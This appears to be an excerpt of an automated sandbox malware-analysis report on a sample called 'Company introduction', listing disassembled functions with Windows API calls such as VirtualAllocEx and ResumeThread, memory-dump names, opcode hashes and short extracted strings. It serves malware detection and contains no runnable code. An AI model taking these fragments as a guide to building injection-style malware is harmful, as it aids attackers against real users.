Instruction Fuzzy Hash: 99115CB29002499FCB10DFA9C4456DEFFF5EF48320F208419E555A7250C775A594CFA4

Function 014BB078 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 014BB0E5

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9e78a9a47e8ef5391c0dc0cb64a65951eae481e5cedf8a5e19a5d9108e0e3a7c
Instruction ID: 5e90ba5171b25e16022d1d1a03efe5109ab9ab7bb0b436827ea179da923c081b
Opcode Fuzzy Hash: 9e78a9a47e8ef5391c0dc0cb64a65951eae481e5cedf8a5e19a5d9108e0e3a7c
Instruction Fuzzy Hash: D411BBB1801399CFDB20CF9AC8447EEBFF4EB09314F1084AAD599A7242C3399644CFA5

Function 07E90478 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07E904E6

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b2f5a6a53211e77f999da910e34af5ab8a9f14faa308d1d01461d350266b8f8d
Instruction ID: 34dcb2c48dd5fadb0f565b0d8deff1a912498711446fcca679081e9b0f1bfafb
Opcode Fuzzy Hash: b2f5a6a53211e77f999da910e34af5ab8a9f14faa308d1d01461d350266b8f8d
Instruction Fuzzy Hash: 0A1137B29002499FCF20DFAAC845BDEBFF5EF88324F208429E559A7250C775A544CFA5

Function 07AEFC38 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07AEFCA2

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 597a3b0ffd7f54993edd6402992055deff738cc6c7d2d2bb945888ea6307f6a0
Instruction ID: bd80bd4f3e17e7ebf02d329582de095eaee9abcb7c9eb0e3be7b6863bdd7aaf4
Opcode Fuzzy Hash: 597a3b0ffd7f54993edd6402992055deff738cc6c7d2d2bb945888ea6307f6a0
Instruction Fuzzy Hash: AE116AB19002988FDB20DFAAD4447EEFFF5EF88324F24882AC459A7250C775A585CF94

Function 07AEFC40 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07AEFCA2

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: aa007314819647f1f1d152aa958150f5e8f8950f8ba71dbd33a152b637780ef5
Instruction ID: defcac5f519a3ac4713eb8dd4b353629bdca488a880fb709b65dbb63d5c0312e
Opcode Fuzzy Hash: aa007314819647f1f1d152aa958150f5e8f8950f8ba71dbd33a152b637780ef5
Instruction Fuzzy Hash: 9D113AB19002598FDB20DFAAC4457DEFBF5EF88324F208829D459A7250C775A545CF94

Function 014BC760 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 014BC7C6

Memory Dump Source

Source File: 00000000.00000002.1731566834.00000000014B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14b0000_Company introduction.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0d04e79b7a8753b4058dd036c21b145b8846d2d2740d70a06023ac767eebffde
Instruction ID: 7d401985b387ee471ebd114c8f915a841e6459cdf3c32771d8fe781a95c80a00
Opcode Fuzzy Hash: 0d04e79b7a8753b4058dd036c21b145b8846d2d2740d70a06023ac767eebffde
Instruction Fuzzy Hash: 031110B6C002498FDB10CF9AC484ADEFBF8EB88320F10846AD458B7610C375A545CFA5

Function 07E94F58 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07E94FBD

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 504099a3e32a490e05e1723a02bbf9065bc808f4b3e5207cbb1bdd5771cf2710
Instruction ID: 0e0bd1b902ace84a1ea4546bf756c5a1fc44ca840dfefa332dbeba673d0ee6f9
Opcode Fuzzy Hash: 504099a3e32a490e05e1723a02bbf9065bc808f4b3e5207cbb1bdd5771cf2710
Instruction Fuzzy Hash: 6C1113B58003499FDB10DF9AD845BDEBBF8EB49324F10845AE558A3610C379A584CFA1

Function 07E90670 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07E94FBD

Memory Dump Source

Source File: 00000000.00000002.1739483945.0000000007E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7e90000_Company introduction.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 50bb8a8144a70b32e3ed29e2ace42a813f1cbb3714b9f990bce97b43288b21cc
Instruction ID: 5fa116657fa9fb97376454d2e1e7bbd703ee6e7ba41876aee0373950835a8f16
Opcode Fuzzy Hash: 50bb8a8144a70b32e3ed29e2ace42a813f1cbb3714b9f990bce97b43288b21cc
Instruction Fuzzy Hash: 611122B6800349DFCB10DF8AC845BDEBBF8EB49320F208429E518A7240D375A994CFA4

Function 0145D1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731228820.000000000145D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0145D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_145d000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6808c7ae18378af4b694ccfd161723ed43459c4037491ce70a8ed3b560977bc8
Instruction ID: 16eb850f8fcd2032e7a75bab1ca50467d6d5b92f04cd290b1ce6f5caa8b6531e
Opcode Fuzzy Hash: 6808c7ae18378af4b694ccfd161723ed43459c4037491ce70a8ed3b560977bc8
Instruction Fuzzy Hash: 0C21E071904200EFDB469F98D984B2BBF65FF88320F20C56AED094A267C336D456CAA1

Function 0145D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731228820.000000000145D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0145D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_145d000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1103c820d5fd689323f66922376bf230811d8f935720932a6ef3f9493d8cc14a
Instruction ID: 34ce422b5718015ffea5217d76fa19094ede5b6c13c8714268a6196d1539c127
Opcode Fuzzy Hash: 1103c820d5fd689323f66922376bf230811d8f935720932a6ef3f9493d8cc14a
Instruction Fuzzy Hash: CF21F171900248EFDB45DF58D980B27BF65FF88318F20C56AED094A267C336D456CAA1

Function 0146D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731320392.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_146d000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f00a4fd8cf82beb1a5cb85334d6c3bce2cceef05c22bd0500356154b4b61a94f
Instruction ID: 04a7af0b20f4e4d20bbac92bcb34be18a4acaa387d4e6cbd49c9f774ae1e15a6
Opcode Fuzzy Hash: f00a4fd8cf82beb1a5cb85334d6c3bce2cceef05c22bd0500356154b4b61a94f
Instruction Fuzzy Hash: 29212971B04200DFDB05DF98D9C0B26BBA9FB84328F24C56ED9894B366C336D446CA62

Function 0146D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731320392.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_146d000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a62f9226e6a896afdfcbc45e04f3fa517753e1c718f068973f72e08c08e23a
Instruction ID: fa7c049d367d9170cf146c740a420d4f47a9305e5d3889c93e60b4899df0b9d4
Opcode Fuzzy Hash: a8a62f9226e6a896afdfcbc45e04f3fa517753e1c718f068973f72e08c08e23a
Instruction Fuzzy Hash: ED2125B1A04200DFCB15DF58D984B26BFA9EB8431CF20C56ED98A4B366C337D447CA62

Function 0146D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731320392.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_146d000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ac1d73e238e883730164c7b00073e524807cd8979846bb87a629e1159ae1bf5
Instruction ID: 6df5bd68708351c886a16254de2abcefb0cef9006de41ae72f778f483f11cac1
Opcode Fuzzy Hash: 5ac1d73e238e883730164c7b00073e524807cd8979846bb87a629e1159ae1bf5
Instruction Fuzzy Hash: D82180755093808FDB03CF24D594716BF71EB46218F28C5DBD8898F2A7C33A980ACB62

Function 0145D1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731228820.000000000145D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0145D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_145d000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction ID: 4d27da21f73ca9a59a41d96c8173500c28f266a78d2fca28a01bfb9d59432bf0
Opcode Fuzzy Hash: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction Fuzzy Hash: FF219D76904240DFDB06CF54D9C4B56BF62FF84324F24C5AAED094A667C33AD42ACBA1

Function 0145D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731228820.000000000145D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0145D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_145d000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 2b4411970616674620164b2528b67dad447995cd8ca2c0531ccbd08d04c30adb
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 8C11CD72804284CFCB02CF54D9C4B16BF61FB84218F24C6AADC090B267C336D45ACBA1

Function 0146D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731320392.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_146d000_Company introduction.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 547cbec026e244d3e64e8841aacc7d49d842da07941216df17a5a71f025703d6
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 58118E75A04240DFDB16CF54D5C4B16BF61FB84228F28C6AAD8494B766C33AD44ACB52

Non-executed Functions

Function 07AE5362 Relevance: 5.3, Strings: 4, Instructions: 289COMMON

Download Yara Rule

Strings

H4ux, xrefs: 07AE542A
H4ux, xrefs: 07AE5431
nay, xrefs: 07AE5646
nay, xrefs: 07AE563C

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: H4ux$H4ux$nay$nay
API String ID: 0-2454568754
Opcode ID: 5d5411ff31e2a02ef739ad3e081ff8901be109f354dfca17468023f909c2b0e0
Instruction ID: bfaa1c049800f7440ee85a4fa7c40fb7c5d57f45a014817110e9df8801502f62
Opcode Fuzzy Hash: 5d5411ff31e2a02ef739ad3e081ff8901be109f354dfca17468023f909c2b0e0
Instruction Fuzzy Hash: 14D13BB0E11219CFDB14CFA9E980A9DFBB6FF89304F2491A9E419AB355DB309941CF50

Function 07AE23B8 Relevance: 5.2, Strings: 4, Instructions: 174COMMON

Download Yara Rule

Strings

%O@8, xrefs: 07AE2522
tQ=), xrefs: 07AE244E
tQ=), xrefs: 07AE2455
%O@8, xrefs: 07AE2514

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: %O@8$%O@8$tQ=)$tQ=)
API String ID: 0-749352435
Opcode ID: 5ead03c8abc5f094e1d023b0e7cbc6bcc5fc049a66da70675b3a766ea3bee7e7
Instruction ID: 4eedeefd50a7d6c08b7045d8dcadc9378ba5b00cfeb851486ea8adb2b41d374c
Opcode Fuzzy Hash: 5ead03c8abc5f094e1d023b0e7cbc6bcc5fc049a66da70675b3a766ea3bee7e7
Instruction Fuzzy Hash: 5E71F1B4E11609DFCB08CF99D584A9EFBF5FF89310F14856AE425AB260D734AA41CF50

Function 07AE2F68 Relevance: 5.2, Strings: 4, Instructions: 162COMMON

Download Yara Rule

Strings

18', xrefs: 07AE30B2
aY, xrefs: 07AE3159
18', xrefs: 07AE30A4
aY, xrefs: 07AE3152

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: 18'$18'$aY$aY
API String ID: 0-3687307736
Opcode ID: a0f65c220d01545b81efe146ced3282914f1bed28b962e64efd5a1042467150f
Instruction ID: ae9ed743e817e034243e3acc641363d17ca7ca0a466677857c1bc6e65b9e92d6
Opcode Fuzzy Hash: a0f65c220d01545b81efe146ced3282914f1bed28b962e64efd5a1042467150f
Instruction Fuzzy Hash: 817103B5E1120ADFCB04CF99D5809AEFBB9FF89310F14851AD825AB304D734A982CF95

Function 07AE23A8 Relevance: 3.9, Strings: 3, Instructions: 174COMMON

Download Yara Rule

Strings

%O@8, xrefs: 07AE2522
tQ=), xrefs: 07AE244E
tQ=), xrefs: 07AE2455

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: %O@8$tQ=)$tQ=)
API String ID: 0-2920369752
Opcode ID: ae0f66a93ebd53c736c557d70f6b1e6d239dcc1315db04161866c4fed1f9e72e
Instruction ID: 98b67d00c5d275ed4d80332f47f35a2b608835bf1113e374090f4fd7040e89ce
Opcode Fuzzy Hash: ae0f66a93ebd53c736c557d70f6b1e6d239dcc1315db04161866c4fed1f9e72e
Instruction Fuzzy Hash: 5E7112B4E1160ADFCB08CFA9D58499EFBF5FF89310F14856AE425AB260D730AA41CF50

Function 07AE3A81 Relevance: 3.9, Strings: 3, Instructions: 119COMMON

Download Yara Rule

Strings

6yu[, xrefs: 07AE3BE6
,uRR, xrefs: 07AE3B68
6yu[, xrefs: 07AE3BDF

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: ,uRR$6yu[$6yu[
API String ID: 0-86511755
Opcode ID: 4b138b6bdb284cfe0061498d9dd7241fdd8ccadf3bf4454d2d4a7332bbd2e7f2
Instruction ID: a067dd5ad504ce45c786ae299aa355b49938815c6b3527d6ac9a4233d1adf6fb
Opcode Fuzzy Hash: 4b138b6bdb284cfe0061498d9dd7241fdd8ccadf3bf4454d2d4a7332bbd2e7f2
Instruction Fuzzy Hash: 504105B0E1520ADFCF08CFAAC5815AEFBF6EF89304F24D46AC415A7254D7349E818B95

Function 07AE3A90 Relevance: 3.9, Strings: 3, Instructions: 114COMMON

Download Yara Rule

Strings

6yu[, xrefs: 07AE3BE6
,uRR, xrefs: 07AE3B68
6yu[, xrefs: 07AE3BDF

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: ,uRR$6yu[$6yu[
API String ID: 0-86511755
Opcode ID: 5cd2d0c24b43c0e56105cb364b7988038240df86c8191c1d75adfc8acfd7a0ad
Instruction ID: 6e045a788fb1fa798df69bf7e40fe9d49511480ae27737ba156e648ded49556c
Opcode Fuzzy Hash: 5cd2d0c24b43c0e56105cb364b7988038240df86c8191c1d75adfc8acfd7a0ad
Instruction Fuzzy Hash: A341F5B0E1520ADBCF04CFAAC5815AEFBF6FF89304F60D46AC415B7254D7349A828B95

Function 07AE69B8 Relevance: 2.8, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

Zjsq, xrefs: 07AE6A76
9u"K, xrefs: 07AE6A73

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: 9u"K$Zjsq
API String ID: 0-1261923490
Opcode ID: 9c760aff0c4abefe3f555e6d94bf8d221bcdbbcf2a99dbc798cc7e663b9fb1cd
Instruction ID: 11d7935d2966e311dc725b57afb96e58ceb6ba1402e7ddd8a5110bac8b118fcb
Opcode Fuzzy Hash: 9c760aff0c4abefe3f555e6d94bf8d221bcdbbcf2a99dbc798cc7e663b9fb1cd
Instruction Fuzzy Hash: 27C124B0E15219DFCB08CFAAD58059EFBF6BF99300F14D52AD429AB224D730A942CF54

Function 07AE69C8 Relevance: 2.8, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

Zjsq, xrefs: 07AE6A76
9u"K, xrefs: 07AE6A73

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: 9u"K$Zjsq
API String ID: 0-1261923490
Opcode ID: b07afb423a4aee6c64bb1eb66e623a0bd76528eb0dbb4e21db2d3b5a5f04e188
Instruction ID: f780ce44a01fe4687dd2f11f11e569a5e4669bebe2f41e0cba463c79595c543b
Opcode Fuzzy Hash: b07afb423a4aee6c64bb1eb66e623a0bd76528eb0dbb4e21db2d3b5a5f04e188
Instruction Fuzzy Hash: 32C1F5B0E15219DFCB18CFAAD58059EFBF6BF99300F14D52AD425AB228D730A942CF54

Function 07AE4A58 Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

or, xrefs: 07AE4ABE
\~$, xrefs: 07AE4B88

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: \~$$or
API String ID: 0-2796768027
Opcode ID: d6912433d63ce9e0a2d5f30b5bb59cb87060cc24989aedff572d67ea7fc1da8b
Instruction ID: 6a9f58d5137e1a7a73feeac7a3447f18bc9c18b598c585b210e8891e24d883f8
Opcode Fuzzy Hash: d6912433d63ce9e0a2d5f30b5bb59cb87060cc24989aedff572d67ea7fc1da8b
Instruction Fuzzy Hash: 626158B4E1524A8FCB18CFAAD5415AEFBF6EF89310F10902AE425A7354D7349A42CF94

Function 07AE4A68 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

or, xrefs: 07AE4ABE
\~$, xrefs: 07AE4B88

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: \~$$or
API String ID: 0-2796768027
Opcode ID: dd709d2b57309649c61f1b8330d48fccc60711a28a6621aef1c47194d7baa703
Instruction ID: 5ebf672b132b90f60d2bd8c55b2eaf3ae54fb69c252eebe47f4607f56bb320f9
Opcode Fuzzy Hash: dd709d2b57309649c61f1b8330d48fccc60711a28a6621aef1c47194d7baa703
Instruction Fuzzy Hash: F46138B4E1521ADFCB04CFAAD5415AEFBF6EF89310F10902AE425A7354E7345A41CF94

Function 07AE2F59 Relevance: 2.7, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

18', xrefs: 07AE30B2
aY, xrefs: 07AE3159

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: 18'$aY
API String ID: 0-535677718
Opcode ID: ee08b0cdb98d355829b41cde821afd4fe331da3e7d2d80b5d3db7558148e2976
Instruction ID: e0105dee09d7509f358650c631381b89faf9af9237faa0fc33998b6de54ff673
Opcode Fuzzy Hash: ee08b0cdb98d355829b41cde821afd4fe331da3e7d2d80b5d3db7558148e2976
Instruction Fuzzy Hash: 6C6115B5E1120ACFCB04CFA9C5809AEFBB6FF49310F14851AD425AB314D734A982CF95

Function 07AEF418 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

.dlk, xrefs: 07AEF473

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: .dlk
API String ID: 0-1029699734
Opcode ID: 673233f9042b2f840d6c91f7dfd4ae3551cf25761902e37703de43ab374093b1
Instruction ID: 0c5a3e8709210551bd5222070c36c4071bc4fe02650d15516896e70cb12c5874
Opcode Fuzzy Hash: 673233f9042b2f840d6c91f7dfd4ae3551cf25761902e37703de43ab374093b1
Instruction Fuzzy Hash: 22E1E7B4E001198FCB54CFA9D5809AEBBF6FF89304F249169E414AB356D734AD41CFA1

Function 07AE63E0 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

?w=>, xrefs: 07AE66AC

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: ?w=>
API String ID: 0-1933253675
Opcode ID: bcf9ca5787348d406389969acaeb4b09ec0b19710107e2c5282d9f195f11c59e
Instruction ID: 2cdac4ec359b439b6297d0dde44ed149376f8b42155aa417455c87c3d10c98d1
Opcode Fuzzy Hash: bcf9ca5787348d406389969acaeb4b09ec0b19710107e2c5282d9f195f11c59e
Instruction Fuzzy Hash: 8CB12BB0D15219DFDB18CFA6D98099EFBB6FF99300F10D42AD425AB264DB349902CF50

Function 07AE63D2 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

?w=>, xrefs: 07AE66AC

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: ?w=>
API String ID: 0-1933253675
Opcode ID: 5e9d151cfca1c09eec47797eb029cc573eddc6156713679bebd9a6d10291a228
Instruction ID: 2a94c3ac398ccfcb44a2d5308fc51b4e27be93d8e5dc81d8e6f50e43601500cc
Opcode Fuzzy Hash: 5e9d151cfca1c09eec47797eb029cc573eddc6156713679bebd9a6d10291a228
Instruction Fuzzy Hash: 40B12AB1E15219DFDB18CFA6D98099EFBB2FF99300F10D52AD425AB264DB349902CF50

Function 07AE0011 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

]]o, xrefs: 07AE008F

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: ]]o
API String ID: 0-2636374853
Opcode ID: 8629a45e3d4dcb319d2afa69d0544d7ff09e1c9cc70040087e0d9829d03bfb4f
Instruction ID: 6cee6615450609396bfdf8a55f7393cbb0aaa4f058f2c9b4146200fb51dae257
Opcode Fuzzy Hash: 8629a45e3d4dcb319d2afa69d0544d7ff09e1c9cc70040087e0d9829d03bfb4f
Instruction Fuzzy Hash: F17139B4E1520A9FCB04CFA9D4809EFFBB6FF89310F248166D515AB215D3749A41CFA1

Function 07AE0040 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

]]o, xrefs: 07AE008F

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: ]]o
API String ID: 0-2636374853
Opcode ID: 4b31463a28a264c401722b3524a9fd5a2c4effe4b5dee128cca2c4dbf38bebe9
Instruction ID: 23ee4d58c76bfc5d38a5e8261315d1b2dfb95221abe241ce33f4d983f9670ebb
Opcode Fuzzy Hash: 4b31463a28a264c401722b3524a9fd5a2c4effe4b5dee128cca2c4dbf38bebe9
Instruction Fuzzy Hash: 307117B4E1120ADFCB04CFA9D5809AFFBB6FB89310F24812AD515A7315D3749A81CFA4

Function 07AEF40A Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

.dlk, xrefs: 07AEF473

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: .dlk
API String ID: 0-1029699734
Opcode ID: 904fa18f0c68acc7b2b8bde8b53ef7d727d828682644521e36f1fdd62063211f
Instruction ID: 6704dc90563e3b4ce99dde7be4988a305b7a42f9c46c343c8d10183554ae63bd
Opcode Fuzzy Hash: 904fa18f0c68acc7b2b8bde8b53ef7d727d828682644521e36f1fdd62063211f
Instruction Fuzzy Hash: 59510EB5E002198FDB14CFAAD5805AEFBF6FF89304F24C16AD418A7216D7355A41CF61

Function 07AE4702 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

i#)6, xrefs: 07AE47A1

Memory Dump Source

Source File: 00000000.00000002.1739297841.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ae0000_Company introduction.jbxd

Similarity

API ID:
String ID: i#)6
API String ID: 0-3600651614
Opcode ID: ecec51caf8a963e0940835d3843e0c685b386733537ea9c7a38da7286c1a257e
Instruction ID: 919337c2a65db318e07a7fb41c605df7689b2e2270ff584f8b97d3bb6b92c702
Opcode Fuzzy Hash: ecec51caf8a963e0940835d3843e0c685b386733537ea9c7a38da7286c1a257e
